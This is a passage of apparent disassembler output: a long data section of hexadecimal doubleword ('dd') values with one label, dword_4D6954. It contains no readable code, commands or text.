6E40BC70h, 2A852DE8h, 9F91C49Dh, 2068F596h dd 3140C64Ch, 0EB2E04CDh, 0EEA24FC4h, 2646E404h, 10B9E921h dd 90A41B8h, 387FCB78h, 1EF3D4B0h, 441CED00h, 7188F5F8h dd 0AC044C1Ah, 3727E00h, 0FCC4DFC0h, 4127367Ah, 4EFCA211h dd 0ACC100D9h, 6D80E1B9h, 4A422F36h, 3B8304D3h, 0B30527Eh dd 81799131h, 0C8375805h, 1F439BCh, 467C2CBEh, 0A9720ECEh dd 0F4A0B38Eh, 391B80BEh, 60082BEFh, 0B392BD5Eh, 0BF70D25Dh dd 0DA108C44h, 0E0469ED8h, 0C91A8102h, 20DC5E21h, 9D309A27h dd 80CF1114h, 0B30B6273h dd 56A6041Fh, 0BF9034C8h, 9193801Eh, 0FA07BCE2h, 56586D0h dd 32C480B8h, 0B76016B4h, 3F85F1B8h, 0DC009578h, 3DA493B5h dd 0D9D72A00h, 0E7AE91A8h, 7E6B01F6h, 0C18299D0h, 0C014EB2Dh dd 168C3E2Fh, 24E06A86h, 0BE0708FDh, 0FC12C232h, 8991ECA0h dd 8312FA4h, 4CF02902h, 2134BC19h, 0E46BAD1Ch, 38DCEDA5h dd 0B42D9202h, 17DFCFDh, 0B9CAB39Eh, 5DD9F5A5h, 805430A8h dd 265A0BF0h, 82A61C42h, 314D0C0h, 34DFF903h, 49ADC55Ch dd 449BAEF0h, 2A6892A0h, 51A20C25h, 0E8CA93DCh, 0A88D96A8h dd 879D442Ch, 8AEAC1FEh, 52095820h, 10DA5F20h, 7CA3947Ah dd 0BC117Eh, 0C381D401h, 0BC6D2F9Ah, 4309385h, 30AC39C0h dd 401E7D67h, 22FB3501h, 9CB31358h, 0FE109C2Fh, 86F4C2C1h dd 7CB57F97h, 0B50CDB80h, 1256BCD9h, 0D0226F60h, 0A88E7174h dd 51B338h, 0E79FC554h, 987793Dh, 97393B1Dh, 465C4C74h dd 7649005Ah, 892C271Eh, 0DDF080h, 1F1B0C8Ch, 0B85C0E70h dd 6E743414h, 73EA00A8h, 2780E8EFh, 0F83B1C2Fh, 1C217042h dd 0DC0F324Eh, 2F81587Bh, 57F183DAh, 63C3A0C2h, 1DF4B96Bh dd 437F0215h, 2F408271h, 4A0FF939h, 0E9196A23h, 20108FE7h dd 60C03651h, 18A004CCh, 0BBAD63D5h, 0E1C60409h, 6B3B8898h dd 87D6004Ch, 616C5FEh, 21AD05CAh, 0AE6CDA3Dh, 47A1102Bh dd 70E08791h, 0D9478A46h, 62AA080Ch, 273B18BDh, 3AB85B03h dd 8E21A10h, 0BD03A7A4h, 0F4201040h, 0B2A010B0h, 10542210h dd 0C67EF8CBh, 8D40149h, 202E8420h, 25313109h, 0F01E307Fh dd 887B2101h, 0CF64C10h, 1C08E24Ah, 41185763h, 64081055h dd 565107Ch, 8C0EB3Fh, 0CF302662h, 99D10651h, 20B39920h dd 520EBCCh, 0BCFF312Fh, 8861EC18h, 18C0AC08h, 9552810Bh dd 92C610C6h, 0AA062208h, 40E2B140h, 9E404A4Eh, 0E3A24092h dd 0F41590A8h, 5CCA08C6h, 8C51FD18h, 5A01F7BBh, 77188CAFh dd 40E108C8h, 19C6CE56h, 0F028432Ah, 2408081h, 3D99E1D9h dd 0A8093988h, 5AE9A119h, 371702C2h, 6BBDE02h, 4B7EE121h dd 0CA29D280h, 98D44508h, 0D8609978h, 3AB308C4h, 436FF04h dd 0A70CDE46h, 0E5697489h, 58478C08h, 9CD1409Dh, 67D3F240h dd 9CFA1876h, 4401308h, 12FCA928h, 4957AC51h, 0CC19308Ch dd 7D808DE1h, 577780BEh, 8C468583h, 0FA080963h, 2C30C6EFh dd 4D6708FEh, 89C2041h, 6D89C60Fh, 6200803h, 0A3423248h dd 2448F540h, 4380A153h, 53448180h, 311AAEF4h, 0C0833F0h dd 401308D1h, 84A91F25h, 1C202496h, 27104265h, 0E4E8B846h dd 607E2010h, 31DCC520h, 3F08FC76h, 0D9A70135h, 81324C03h dd 49D829D1h, 0E852CC34h, 0F29CA2ADh, 22244AF1h, 2316F84h dd 34054062h, 0D510EC5Fh, 1843FE10h, 7B3094F4h, 7608C44Dh dd 0D7F70663h, 0BC732020h, 63A47420h, 607A17Eh, 44591024h dd 7C3E22A4h, 13385849h, 984C7D69h, 0C41B18DAh, 4457629h dd 191D5516h, 8C9F10D0h, 1883BAA9h, 2068925Fh, 8F325326h dd 0AFC720DDh, 12E0C894h, 90345F8Ch, 0B51A1932h, 0B4522310h dd 14006807h, 98638082h, 0A4528481h, 680C687Fh, 8F28C924h dd 0EE68742Eh, 205F3A0Ch, 3190FB38h, 5097185Bh, 2555A208h dd 0A4DA226Ah, 7780A105h, 14D743DFh, 0E78C1F2Fh, 1CEC1044h dd 8EF924E8h, 0C55DD115h, 0EA0FB855h, 2D7B5000h, 7173DAFh dd 0D549F6F3h, 2CAF098h, 0E0E84E07h, 0B7122608h, 6F43806Dh dd 0BFBD4511h, 7F6C5100h, 0B1B29C66h, 0EF76072Fh, 0B3BCA9E2h dd 0A1008075h, 0DAE82EEAh, 0B041CFD9h, 57C14490h, 51EF0A00h dd 0DF7D80A6h, 0B6040BE1h, 0ACE3A121h, 5440724Ah, 0E84E0EEFh dd 405E6156h, 0E0AC1EA6h, 10C7D9B3h, 120041E6h, 0E3C336BCh dd 0B0E064E0h, 4A2803D0h, 91697590h, 3E70781Fh, 16C0807Dh dd 0C2325F02h, 6D34A0B6h, 0FD4D00ABh, 0DD657B47h, 8C949975h dd 81251800h, 1E372E7Ah, 40729245h, 2911C26Fh, 0E04A74F8h dd 3E226C80h, 2AC0C9F6h, 36CBC681h, 0B058D0D5h, 0E25FAC02h dd 58D7E8C2h, 6DED16C8h, 2568F4ADh, 7722920Ch, 41C1103Ch dd 170E52Dh, 5452B89Fh, 0D04500BBh, 0CA0BF2Eh, 9FE74Eh dd 0DDAD82C0h, 8A6B00BEh, 87B44F78h, 0B11349AEh, 0FA10E888h dd 814A0C9Ch, 4042E85Dh, 102CAA96h, 7E80D402h, 0DD35032Ah dd 36CD1892h, 0D52808FDh, 1748D88Bh, 60E77A1Dh, 0DE67505Ch dd 0C461E84Dh, 34376D61h, 98A4309Dh, 8A5210FDh, 0B3B19B03h dd 0AA60BE8h, 0DCFB2F89h, 59D10820h, 6FA96000h, 0D9D3B8h dd 65F27F5h, 0A043E898h, 0C01120CFh, 0F32D6580h, 0DEEE0088h dd 427210A4h, 8C9054CBh, 0D4F93702h, 0D45821FBh, 37A0004h dd 0E9CA102h, 64EFA700h, 0B9E243B4h, 48752E16h, 0C33CBCE0h dd 4DD61F7Fh, 0C6101615h, 0F7EE709Ch, 0BB8F4200h, 545082E9h dd 0A231066Dh, 98E295E8h, 4B7AB0Eh, 6CA9002Bh, 0EC25D49h dd 21DB8099h, 0AA9355E3h, 29E3FCE3h, 1CE000AFh, 20B5FE94h dd 9C039A74h, 1580A10Dh, 0C81F247Dh, 0A27816A2h, 19AB0098h dd 175C7160h, 0E8E71826h, 2235808Ah, 451C4077h, 0ED00C4E9h dd 91865921h, 80A203A0h, 515DF1D0h, 0E073E1D1h, 11C0DAA8h dd 83B698D1h, 783306FCh, 0F87DF375h, 0E86E540Fh, 58603884h dd 7F0B1281h, 0AA18D1A8h, 0E8544113h, 0B8033FE7h, 0A7C42674h dd 0F30A21C1h, 4748209Fh, 0B0F263EDh, 0E899C77Dh, 8B49FF6Fh dd 28D4591Eh, 16B80B1Ch, 2C5A9134h, 694E2706h, 10302B21h dd 248EAB75h, 0ED1DD87Ch, 8A40A864h, 0C5324F36h, 40950A90h dd 12A1188Ch, 404C4415h, 1BEDC530h, 1293C08h, 15DD4D7Ch dd 0F9F6D0EFh, 0E8AE0604h, 4C88D0ABh, 3C4A46Ch, 17038A7Eh dd 113C29F5h, 30A6013Ah, 8098CCD7h, 2E64D100h, 256E16F2h dd 0A558279h, 0FDDC841Ah, 0C120AD04h, 2358D6Ch, 2878F048h dd 13A8C275h, 734C866h, 869DBF40h, 56267839h, 2818E818h dd 96B870h, 0F3FD1FEDh, 0C16F75Bh, 0C384B551h, 271202Ch dd 58B06025h, 0DCE50F70h, 0B983F10Eh, 15D8DB8Ah, 0B400B289h dd 0B8E79DFCh, 50B57591h, 122A90D1h, 0EF1873h, 392CAD4h dd 751CC252h, 660AEE74h, 0D809E8CCh, 9708A3EDh, 68A94965h dd 0E89EB703h, 20126070h, 0B013EEEFh, 98C34487h, 0ED1813DAh dd 86030017h, 46FA3667h, 23382114h, 7EA509B8h, 344C9042h dd 250AE855h, 0F0C05C22h, 450C0BAFh, 105E2021h, 7EA3D42h dd 0BC136D07h, 3F3800Ah, 81307531h, 4492A8ACh, 0AF3004BAh dd 923921A6h, 0FA40D3C4h, 0CE071D70h, 0AA86DE47h, 303AB6C0h dd 9FD0037Dh, 0F1238BBh, 0AB44ADC8h, 2ACCC002h, 80109117h dd 0D0B380C8h, 9813FADCh, 6CB40B1Ch, 8E003AF3h, 4DA4E98Bh dd 10F0A903h, 0E0702D27h, 33B3D2CFh, 38186044h, 0E857A1E0h dd 8CDDD928h, 1E0E4575h, 32182D1Ah, 222EB309h, 1C5F2B4h dd 0E46D0CA9h, 75EA44FBh, 0DC2FB628h, 818C3648h, 0A760E8AFh dd 0C74C842Ah, 0C51383F4h, 6BD603Eh, 7B480951h, 507AFC20h dd 9082ECEFh, 0CB6212B0h, 589C302Eh, 241F421h, 40B05EEAh dd 13996415h, 31216338h, 0FC9A185Bh, 0D9115463h, 75E040B2h dd 10D0EA30h, 18A236B4h, 21716B4Eh, 0A74CDD05h, 3614C034h dd 0E05ADB9Fh, 83B8006Bh, 4A62E780h, 2309C8C0h, 0A47C917h dd 8A845078h, 4D144D7h, 4500845Dh, 8B0C1817h, 59959875h dd 2F9D006Bh, 0A8FFF544h dword_4D6954 dd 0FEE879C2h, 0C0023C00h, 0A1FB2AC6h, 0CDE798Fh, 4E447541h dd 8B01C338h, 1724B846h, 68A431BCh, 4DFF0554h, 0C718D482h dd 1121619Ch, 2A6442ABh, 0D43DFC40h, 149EB880h, 90286C16h dd 40751B04h, 2EE800DCh, 244B6BEh, 3235D4B7h, 14F4C608h dd 8CAC800Ah, 48C96F64h, 81BE2020h, 0E4406EA7h, 14F736BDh dd 0B12DE815h, 0A04714C8h, 6451E000h, 1ADFEE8Dh, 787F2100h dd 0A170639Dh, 0B4134C6Ah, 78E44710h, 2C681658h, 394CA3h dd 0E1C84DDFh, 9E636BAh, 0CAA23214h, 0C19D7887h, 516CA4D3h dd 0F7F64Ch, 0B6A11F6Dh, 0DA61FF4h, 0F818E34Ch, 0ED078C3Dh dd 20A6A36h, 7804D56h, 1098EAD5h, 7B39D1A5h, 618A7034h dd 16AE5D06h, 0E6608180h, 34FF78D5h, 25102B4Dh, 0CDAC83C0h dd 0C0AD98BBh, 174FF45Ch, 591E1A0Bh, 9F2882C8h, 26BA00FDh dd 0D10DFCF9h, 407F1A29h, 0E082A012h, 0F25BC94h, 3B91089h dd 4C74E981h, 0A8208A9Dh, 0AA1DA0BFh, 0CC0B2C24h, 0A91890C9h dd 50E05C87h, 68E598C3h, 0D46185BAh, 0F3B2CC78h, 46FB4E00h dd 9F6417A9h, 2004B012h, 449AFA29h, 0B3F5B600h, 8775D1B4h dd 8260DDD7h, 0DA9244FCh, 0FB43D840h, 4E18A898h, 0FDB959E5h dd 7079F0DCh, 2622F0F6h, 80707D0Bh, 0A5E5C00Fh, 0E2139C40h dd 0AC02C911h, 600A8617h, 7AED1B60h, 1362FC18h, 0E88D16B4h dd 81147058h, 108036CFh, 700235E4h, 0BC0BD02Bh, 0F0C924C1h dd 75192EC7h, 3020345Fh, 175EF070h, 414ACD21h, 0DF8D69C4h dd 0C20860A9h, 5822BE81h, 7F10AA01h, 0C08EB095h, 6830A9AFh dd 5F191180h, 0DD3B1A2Fh, 1CE15972h, 0AD317016h, 26B28202h dd 41627417h, 1CC4C8C8h, 787364A1h, 22C88035h, 10DEA5E0h dd 5423BF40h, 158CF747h, 0FC80A119h, 0C1500092h, 95D8A431h dd 3717AA00h, 2897386Ch, 1213D74h, 0C14EAC4Dh, 6EAC1774h dd 0E1C96400h, 0E929B9h, 18996515h, 4FF7214Bh, 9C0531D3h dd 60D5049Eh, 0BC893884h, 0BD9FD9F0h, 0C7B0C02Ch, 4B12A320h dd 0C30C0637h, 8498D169h, 2162F488h, 19772A35h, 6DAA6481h dd 484CC022h, 89005F3Dh, 0E52CD03Eh, 2312269h, 0C6A42024h dd 2CEFC824h, 88C864h, 5F89C7DAh, 365CCD8Eh, 18C1743Ch dd 0D92F21AEh, 0ECF4C980h, 6D2BFF25h, 0B79BCC03h, 0F0CDD4F1h dd 1DE048EDh, 0C1235313h, 18FAA79Fh, 0FB68F077h, 99011D78h dd 0D1BDBC2Eh, 25F0159Dh, 22DF071Bh, 13EC5703h, 110C1D6Dh dd 29BCE42Fh, 0C0CF5860h, 3E88204Ah, 0EE2469A7h, 0DF9798B5h dd 1714DC31h, 6AEE3071h, 0E934C1CCh, 318BC000h, 13ECA750h dd 8C018EFCh, 1CD02871h, 1823446Bh, 9C36BE02h, 0A4C66F5Fh dd 0B346F40Ah, 44EB084h, 488332E1h, 1A9DE04Bh, 4A21785Ch dd 75EC707Eh, 1C9A9052h, 80947098h, 36B94580h, 3DBD58A0h dd 0DE802A82h, 0DF798062h, 0A10B2BE8h, 0C9EBEh, 90A4B33Eh dd 614C6322h, 4C813A3h, 2D4C6F92h, 44700344h, 0E0E843CDh dd 0F6C1F5h, 4C483C38h, 196BE158h, 0AE39C4A0h, 5200EFFCh dd 385EFB97h, 4CB77628h, 9D0B9680h, 270711A8h, 0E69030F2h dd 0F900D3E2h, 2DD0FAF6h, 2466C3h, 8614CEC7h, 0DCAE4AADh dd 0CA0F0200h, 52D16938h, 0D9460113h, 8F751968h, 82F8AC03h dd 1AE0E805h, 3CA460C0h, 51492CF9h, 7F4800BCh, 0AD28BC9Dh dd 0DD497B72h, 0E6FC00ECh, 692401DFh, 0EF5B07D4h, 18DC2297h dd 4B96AF05h, 90036882h, 907B7FC8h, 0E841C98Ch, 39FCE388h dd 6916B386h, 0FD48283Dh, 1FDE1718h, 41FF5804h, 7BC9A502h dd 0BD09B852h, 870C4F16h, 810F258Ch, 0CDB611A4h, 142AE9F1h dd 4933848h, 2803E0h, 0A41219E2h, 7C711E14h, 0E6F105A2h dd 45B8D153h, 0F28074A7h, 9E44740h, 3317A816h, 309EF869h dd 3C9164C4h, 80EB2D0Ah, 3D054826h, 0BA854DF3h, 5A2288D0h dd 6C997Eh, 0DFD79E93h, 0BD26CA47h, 80602065h, 186038EFh dd 59161821h, 221872BDh, 0E841281Bh, 3A6B00BAh, 0A6413501h dd 3824150Eh, 7B1B7C36h, 0D9819380h, 4472AD7Fh, 0FD6EA402h dd 44C0FEEFh, 817478Dh, 0C846F491h, 369038Ah, 75FC13A4h dd 38003394h, 451A18A7h, 98F929C2h, 0C4262D64h, 67A87020h dd 8B17DB9Ah, 9C081C2Ah, 13602EF1h, 175C0230h, 0E88078AEh dd 0D43313B4h, 1C95DF14h, 0CEBE00D4h, 2294EA02h, 8450ED3Fh dd 14492h, 6B631918h, 0B9D183F6h, 5B9AB807h, 7AA0BCA9h dd 7AE71D26h, 0F370C0C1h, 0B180C06Dh, 7D5B8F09h, 7F0080EAh dd 57F56Ch, 2CCEE128h, 0BAA966E4h, 1315200h, 7ED02FFCh dd 649155h, 62687880h, 3C983399h, 4E49C91Fh, 3D01BCAEh dd 21AC10DFh, 0A887E2D5h, 82560C99h, 20DF72B9h, 17109124h dd 2D6092E6h, 0AE70151Fh, 0F018AD1Fh, 60400116h, 5D16B760h dd 95C0A3E9h, 88459457h, 0D800C4EEh, 56FEEB5Ch, 0AE1026E8h dd 4DF783A0h, 87C1B0Dh, 5AC0E43Eh, 0BC2D5860h, 60A84972h dd 0CCC09F38h, 0ED611096h, 0AC38AD63h, 0C2476DA0h, 960B4490h dd 40B6E89Ch, 74724418h, 0E0751716h, 0BF044078h, 0B23C4FA2h dd 0CB58D9E0h, 64525F18h, 4FE844C0h, 0A668B4EBh, 89BD07A0h dd 820F916h, 0B69F58FCh, 9C711A00h, 2D6186B2h, 0AF2E02D8h dd 5EBE282Bh, 57B7B860h, 0E83E6904h, 308CBAF8h, 0F0E68192h dd 84A8E550h, 6A0FA225h, 869BAC02h, 197BAAh, 0C5FA071Dh dd 60EB484Fh, 8ABFA90Eh, 608E2E43h, 156114EDh, 9CA0003Ch dd 68CAD0BAh, 513A3D30h, 7EE309A6h, 1A64EC5Dh, 0C8798A17h dd 0FDA9D848h, 0AEF6D701h, 15274E7h, 16BE2882h, 80006413h dd 24F59FD0h, 1D303908h, 6CCA84C3h, 1688CAE0h, 0DC929A61h dd 1E8CC128h, 59F56430h, 0B059AC32h, 16B46003h, 601F342Fh dd 428BC8C1h, 0F17002BFh, 1D28514Bh, 6C76C3F9h, 25F0BBAAh dd 0EE0098BFh, 5E84B6DFh, 0EEF3DE2Ah, 0D61C3BE0h, 0CDCF605Ch dd 8B85242Eh, 0C967C616h, 48CBD100h, 6AA9FA40h, 299E1CC5h dd 95770185h, 80E51916h, 21AD1BA8h, 6343E8ACh, 1763D083h dd 694BDD90h, 0F3FB1400h, 34E8AB1Eh, 4820CB90h, 18132C13h dd 0B4123AC8h, 0BB175C83h, 69800B71h, 28989FFFh, 0EA054E0Eh dd 0CFE552A4h, 0B4F574C1h, 7B756BCCh, 1C1894FEh, 206D451Ah dd 0A6A0B0A4h, 497F1F00h, 0BAC9C89Ch, 0A4364F16h, 2634B390h dd 40EC989Dh, 1805D26h, 84DEE95h, 4C9E6C5h, 28AC31CDh dd 0A85C85A4h, 24EB8B2h, 0B280A4B0h, 0BF09C464h, 20B86D16h dd 0A50399F4h, 13753B0Fh, 0DD702065h, 1E82964h, 12BA4E0Fh dd 75E49A9Fh, 17B84F8Ch, 1324202Ch, 997F54Eh, 841884E8h dd 0A0698301h, 0B17030CBh, 0C9A8E312h, 870A8000h, 1E56A6FBh dd 26A4E0EEh, 491E009Fh, 0ED68C980h, 2127A976h, 878CC115h dd 0B109E063h, 0C07FCCCh, 0D33AE422h, 0CBC0CD24h, 0AE0CB630h dd 186F1921h, 40DC909Fh, 390D15FFh, 48655416h, 0C2C7E861h dd 1EF8F0A1h, 0AB66314h, 88F4815Eh, 76FC8F1h, 6E8B9E3Fh dd 80DD4048h, 61AFF8B9h, 3028165Ch, 0CA5D0F00h, 0DCC8D408h dd 0BFEEA639h, 0D3CC81A4h, 0B0C71C0Ch, 166AAED9h, 5C0A00C8h dd 0D26AB76Ch, 0F516C509h, 0C95CC63Fh, 5401A470h, 63057C72h dd 0F4AF2920h, 4088B412h, 3C1000Ch, 0E271F1EFh, 0ED1D1310h dd 4AC5F867h, 0CB0AEC3h, 1611C2FAh, 88874649h, 0B1250ADh dd 70B0E618h, 0A84E82Dh, 0B51EACD0h, 700F5B0Ch, 971C083Dh dd 0C812428Ch, 0F6177005h dd 9FDCB440h, 26939BAh, 0D1A05F91h, 6106BD94h, 0E61A0B68h dd 0B4A2D418h, 0A600D397h, 6A76750Dh, 990D029h, 7C0A12DFh dd 0FAB34018h, 11C05D0Eh, 0FED17FBAh, 7B3016DFh, 0AB380095h dd 75789FC9h, 80515820h, 805E40F8h, 0BB05351Bh, 0CD75494Dh dd 202068A1h, 0C8F640C5h, 0E55B8CB2h, 0E815E00Ah, 5A0EE884h dd 100C96h, 29B483ADh, 0EBCC75A3h, 0BFAF48C0h, 0D64E651h dd 0EA67E84Fh, 631A3030h, 0B3209092h, 2EA2E213h, 1EDFFFB6h dd 3EE087EDh, 1416119Bh, 0C978803Ch, 9861D1D3h, 0B521734Bh dd 44FF3800h, 0D8B4D492h, 4C9D0C44h, 0C3718841h, 0B0C465C0h dd 8B8A51A8h, 0BB46848h, 6D410FA6h, 2592E000h, 2F000420h dd 0A3BFE7BCh, 262114ECh, 85A8FE08h, 470580Eh, 81034FE5h dd 3F450ACh, 70278A56h, 4CB420A8h, 1B139A00h, 15104DD7h dd 0C0402E4Ah, 32696400h, 0AFE44045h, 0A3B9C958h, 9D016C46h dd 1ABDB9BAh, 86D45938h, 1B3D0287h, 7EB1C84Dh, 0C7208C70h dd 0BAAA3F9Dh, 24B6A00h, 0AED0CEC8h, 276D910Fh, 9145899Ah dd 1070EF68h, 0ECB413Bh, 2DF32054h, 48029A7Eh, 0E607F6F7h dd 0D68276C7h, 148CC117h, 3BB8870h, 3519C540h, 7DE8AA2Ch dd 8F03CFA1h, 14217490h, 81D00049h, 0B7EDC4Bh, 0CF0B6BFFh dd 0A7BCE89Ah, 21F25674h, 694084FBh, 0A8684BABh, 0CF52F8C0h dd 0FC5D11CAh, 0A28AC842h, 0B7E71C8h, 40AF1404h, 0A91F1C2h dd 0A3CA3017h, 1CDE3010h, 101D4D28h, 0EC01A62h, 0AA07062h dd 1C69BEC0h, 0CCB900C4h, 0B79C2DFBh, 0BECD353Ah, 9A180084h dd 0F3D57A12h, 0E0B0137Fh, 0A91C0055h, 47A0CD6Bh, 0A880590Fh dd 0D3A22009h, 4AE8BFD4h, 6870D3AFh, 0B1893DA2h, 24D838C2h dd 460AAB00h, 23E14B6Fh, 1A3D0319h, 0AD88E8A1h, 344D827h dd 0D5917588h, 61796890h, 4110045h, 1F1ADDEEh, 3500C00Eh dd 2A918846h, 0BD76E712h, 6AEEC000h, 5D71188Bh, 0A8F7B300h dd 6E447FB4h, 7E16173Eh, 7B30498Dh, 84A8F4E9h, 4D814A98h dd 4E26B4C0h, 0B75E26FDh, 467EC5F8h, 695427E4h, 10181548h dd 12779417h, 32BF4049h, 17106880h, 5480BF23h, 0F2C04E1Fh dd 7C441E5Fh, 30802244h, 494D933Ch, 110454FDh, 0C0F84075h dd 1AA2B434h, 364B150Bh, 40E06A25h, 12E86F0h, 0E9FD622h dd 94CC4175h, 0DC9570h, 7089CA5Fh, 26A0EDAFh, 2717782h dd 9309B0EEh, 4C11B082h, 0C1FDD403h, 9820D33Dh, 4ABE4023h dd 38E22113h, 26344448h, 0A7750444h, 0CC491A3h, 65EBF41Fh dd 13C0E818h, 786DF2C8h, 8CA054ADh, 0FCE19795h, 1443C3Dh dd 69659766h, 209DDE07h, 50E21875h, 0BD502CB7h, 10076DA0h dd 0EA49E9B9h, 0C4F443C9h, 6A752C91h, 0C8F1F5FDh, 74B04F2Eh dd 0A4017E8Fh, 0E0E5DE29h, 0DC9296E8h, 226C6304h, 80FAA3CFh dd 0B0CDB140h, 0E990EDEAh, 0F00CFC00h, 5A448E36h, 0ACC70095h dd 46F9C017h, 0E83B6C29h, 3988D57Ah, 66AA2508h, 0A8498CCh dd 715D9E37h, 7C3C62F8h, 888BA04h, 0D7211056h, 0EB0F7D47h dd 0FF07F155h, 7882BD07h, 3C5F7901h, 7E3D430h, 2EE55430h dd 76AE4004h, 0AA67752Ch, 6BE066D0h, 1FC68281h, 165E9E29h dd 14B005C7h, 1CE5057Ah, 0AF8CD0EBh, 212747F1h, 990080D2h dd 5F257512h, 227C575Ch, 0FCA4E02Ch, 61C09362h, 71A136D9h dd 1187254h, 81A34491h, 9420EFFDh, 600C9C15h, 7828E89Dh dd 0E8CBC14Ah, 0D64D6C00h, 7516E3A4h, 3AF42058h, 71E98090h dd 9BAFB4B9h, 9A3900E1h, 0DDFCB095h, 800049F5h, 4A7FAAE4h dd 5DE8A8D4h, 4E0B50E7h, 74C4A31Bh, 9E5B3884h, 0A67E681Dh dd 9547B092h, 0D098B8C4h, 1B300096h, 7507AEB4h, 89B519Bh dd 0E8FEC801h, 0AC60954Fh, 0EF90A8E3h, 5C9895D6h, 6988E69Bh dd 6B400399h, 76371729h, 58CB6827h, 52C933BCh, 9825CA08h dd 82EC389Fh, 0B4267CADh, 75188224h, 0BD00AA34h, 1E694A83h dd 0DAE85873h, 8E070C6h, 65B4728h, 36B9F805h, 0D49650C1h dd 81303897h, 286C2294h, 91BC00A0h, 0C19964EEh, 42240074h dd 9ECD93EBh, 1800ECB0h, 0A9DCEDF0h, 2D663FBEh, 5C828B67h dd 0A340BD2Dh, 30B4CB9Dh, 20AC6F80h, 1A456DFFh, 116EE72Eh dd 8006D086h, 0C06040B6h, 28172AD0h, 94FC0BE9h, 80A5115Ch dd 0D5F76EF5h, 25E7EA05h, 24C4B90Fh, 0D1485402h, 70A2928Bh dd 76E920C8h, 55C87850h, 60E57525h, 95AD801Ch, 7D477090h dd 0A7E5ED81h, 56DEB941h, 99440C2Fh, 0EA052E11h, 2CFC32Ah dd 16D80C0h, 0B8C705CBh, 8120F38Fh, 0C493A818h, 690F4CA3h dd 80ED0213h, 0C3E46579h, 1A4F298h, 54DBFDE0h, 81EE4F21h dd 3DBE50F8h, 80652E17h, 2D58E830h, 5C8BEB21h, 7F092066h dd 0E83528D0h, 49467594h, 0F005708Ch, 0E17E6h, 0A815994h dd 9D0AA50Fh, 0D863515Bh, 49F76F02h, 0DF1CC33Dh, 644539CDh dd 0C800DC87h, 2C3D1CFh, 0F13F80BEh, 9060EDE4h, 0CB0964C9h dd 0A03AAD16h, 259E1058h, 0DFC1583Ch, 0DA885C00h, 8292E722h dd 0C8ACA09Ch, 0BE108931h, 0BF9730h, 1216A3Dh, 5AE95171h dd 34E72D2Eh, 0F80461Ch, 163F8D1Ch, 68246021h, 0F3547514h dd 713970B0h, 0AE5F0B67h, 0E8689089h, 0DCB15DCDh, 2510E459h dd 464527BFh, 60A0988Ch, 0CA6018E0h, 1780CF36h, 203960F7h dd 3B216318h, 9A184664h, 0AB05C8BCh, 0C1DB491Dh, 28D4D8A8h dd 0F3B181F4h, 1EFF021h, 0A6AF3130h, 0FB7EAD85h, 0B07663FAh dd 15767540h, 0C510C0F5h, 9D47EE12h, 470A8A2h, 0C7214B0Bh dd 84A024D7h, 453544C1h, 3059E062h, 1EFA4B02h, 0A2003058h dd 80B4BA69h, 0EC4BB875h, 7FEAACC0h, 0EECF00C9h, 12A9F674h dd 62EEDC91h, 0F8017690h, 21F72470h, 70BCF485h, 9AEB690Dh dd 138443D9h, 0D1B48894h, 900DAE30h, 4C31E898h, 0E18060E3h dd 0AE5E15B7h, 0EC750609h, 0BEE414D7h, 0AC6A5890h, 549D8B26h dd 0C9FAE60Fh, 28F8008Eh, 501EE72Fh, 0EA34E2A8h, 7F5F3008h dd 9E671248h, 948078B8h, 53804E75h, 0DA840F38h, 0CA270E46h dd 28680DEAh, 35AB1200h, 1B2628B2h, 7ECE88C0h, 0F4910Fh dd 0A9E68FD5h, 9B140046h, 2A9A8E52h, 0AB18123Eh, 2220909Ch dd 0C0FA49E2h, 0BF2B9807h, 957B0055h, 3D0CF6A0h, 20EAB222h dd 98009032h, 537D5A88h, 5DC4A018h, 0FD2B8B0Bh, 4F10D8FFh dd 45C8121Bh, 8DBD2FF0h, 80E83C34h, 93FBB79Ch, 56280055h dd 8B480C5Ah, 3001B2C4h, 0E7EF9F86h, 0D08BCEC8h, 3494A944h dd 4B008177h, 79B98DB5h, 98D5D797h, 0ECA25830h, 3F5ABE10h dd 2C9DFA2Ah, 0A66F48B0h, 24AC22E0h, 0A65024BCh, 0CA642CE8h dd 0D9046F30h, 20109088h, 7A0F65E6h, 520C9807h, 140368F2h dd 3CC07513h, 0D87C1028h, 0E6702080h, 17B95680h, 26922DC0h dd 591229F4h, 0D0465721h, 61203537h, 82220834h, 401881EFh dd 0E5076DBFh, 69747030h, 0FC886947h, 2F80C9B0h, 57ECAAC1h dd 10DA8B05h, 0E0F8F6E7h, 4DD71504h, 0C414C30Dh, 0BE3840B5h dd 87711182h, 1CE8450Ah, 58FC0FDh, 24596063h, 6CE91ABh dd 14E726AAh, 2E9520E4h, 3BDF282Ch, 6BF2C320h, 0A826A670h dd 5913ACBAh, 4E4840A0h, 0CAD8811Ch, 0D21C3017h, 0E8CD3431h dd 0AF005E24h, 19009199h, 0E550A63Ah, 0AF643A3h, 7ACA172Dh dd 6D1602E0h, 24663446h, 3CA14CA4h, 10E8738Ah, 94557AC6h dd 75A07C2Ch, 4B5B07Bh, 0E4C02270h, 789C44E4h, 0ED1F0D86h dd 91AC5h, 0D7E9C8A9h dd 7CFF1600h, 6BE3B475h, 0C9891E74h, 5100FC3Eh, 0F534B12Eh dd 3103BAA5h, 75A4B3FEh, 0C02DA3FAh, 1926A63Dh, 104B181Ch dd 0D369E098h, 207729C0h, 1E4FBC92h, 0CF8EB0ADh, 3967748Bh dd 91600F5h, 0DE039C7Dh, 0A4E064EDh, 97269822h, 0A1E5008Ah dd 0B3F3312Ch, 4700D558h, 3AB641C7h, 0A11DA4BFh, 18864540h dd 10C0921Ch, 0C9A6930Ch, 0CA58089h, 6998E57Eh, 243016B8h dd 0DB828008h, 1FD9754Eh, 8A0A466Ch, 3907DEBh, 0A40E61E4h dd 32C007E8h, 8D0D347Dh, 70F18E1Bh, 0BBB22540h, 0E7473719h dd 413A3478h, 7B35E440h, 898D9083h, 0ABD0EC0Eh, 0BC03ACD8h dd 5C1C1601h, 34481EC4h, 99740004h, 0FBA8F542h, 143E9500h dd 5EB8BC1Ah, 25B301Ch, 0F5AC9158h, 0ED60BEF0h, 49469210h dd 1E51BD5h, 4C0D857h, 0BF6F3DB3h, 520A1220h, 52008054h dd 51EEDAE5h, 0EFAF33D5h, 0B83E1098h, 1CC5944Dh, 1B3D01B0h dd 30A6C603h, 0C050F7D4h, 0D8788F48h, 0E51222A1h, 5A0C0C54h dd 74716045h, 26248021h, 0BC099402h, 82797D17h, 911FA40Ch dd 798E7BD0h, 9982F745h, 0DCACE20Dh, 0B2007088h, 90981814h dd 0B03675h, 73A42153h, 0FF8EB36Eh, 0BAAD7D02h, 8A5B6671h dd 